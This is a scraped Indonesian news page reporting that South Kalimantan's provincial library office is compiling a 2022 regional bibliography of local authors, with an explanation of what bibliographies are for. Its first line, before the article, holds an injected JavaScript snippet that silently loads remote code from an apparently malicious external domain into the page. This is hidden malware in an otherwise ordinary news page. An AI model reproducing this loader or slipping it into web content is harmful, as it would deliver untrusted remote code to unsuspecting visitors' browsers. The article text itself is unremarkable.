(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Selain menghimpun dan menyimpan karya cetak penulis lokal, Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan juga membuat katalog dalam bentuk buku hasil karya penulis lokal.
Katalog itu disebut bibliografi daerah merupakan suatu daftar buku-buku atau artikel majalah, yang merupakan pendaftaran hasil karya dalam terbitan-terbitan, agar dapat dikenali, diidentifikasi, diseleksi, dan diketahui tempat terbit serta lainnya.
Pembuatan Bibliografi Kalsel 2022 ini didasari Undang-Undang Nomor 13 Tahun 2018 Pasal 23 ayat 1, yang menyebutkan bahwa Perpustakaan Nasional dan provinsi melakukan pengolahan terhadap koleksi serah simpan. Sedangkan ayat 2 menyebutkan, hasil dari pengolahan (ayat 1) digunakan sebagai salah satu dasar penyusunan bibliografi nasional dan daerah.
“Bahan dari penyusunan bibliografi daerah ini berupa koleksi hasil serah simpan karya cetak dan karya rekam penulis lokal yang tersimpan pada Seksi Deposit dan Pelestarian,” ungkap Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Wildan Akhyar, Senin (22/8/2022).
Baca juga: Bupati Batola: Kerupuk Ikan Pipih Itu Sudah Terlanjur Booming (4-Habis)
Sekada diketahui, bibliografi adalah daftar pustaka yang mencakup isi dan deskripsi suatu buku, meliputi judul, pengarang, edisi, cetakan, kota terbit, penerbit, tahun terbit, jumlah halaman, ukuran tinggi buku, dan ISBN.
Selain itu bibliografi atau daftar Pustaka juga dapat dibilang sebagai daftar yang berisi judul-judul buku, artikel-artikel, dan bahan-bahan penerbit lainnya, yang mempunyai pertalian dengan sebuah karangan atau sebuah karangan yang telah digarap.
Fungsi bibliografi, jelas Wildan Akhyar, mencatat buku atau bahan pustaka yang ada, Mempromosikan pendayagunaan buku dan bahan pustaka lainya, salah satu alat untuk mengembangkan ilmu karena bibliografi merupakan kumulasi pengetahuan.
“Bahan rujukan terhadap koleksi perpustakaan, daftar koleksi yang dimiliki perpustakaan, Daftar informasi bahan pustaka mengenai suatu bidang kajian tertentu, dan sebagainya,” jelasnya.
Tujuan bibliografi adalah untuk membantu pemakai dalam menentukan lokasi keberadaan sebuah bahan pustaka atau mengenal sebuah buku atau bahan pustaka lainnya yang diamatinya.
Selain itu, terbitan bibliografi daerah ini juga dalam rangka memudahkan pemustaka untuk menemukan buku yang diinginkan, mengetahui buku lokal apa yang dimiliki oleh sebuah perpustakaan, dan untuk membantu dalam pemilihan buku.
Baca juga: Kebakaran di Bekas Pasar Bauntung, Korban Mengungsi ke Rumah Anak dan Kerabat
“Salah satu bedanya, ini khusus memuat konten lokal. Kalau katalog induk daerah itu umum,” tambah Wildan.
Direncanakan, bibliografi ini selesai 1 bulan, yang akan dicetak dengan jumlah yang disesuaikan dengan ketentuan dan kebutuhan. (Kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.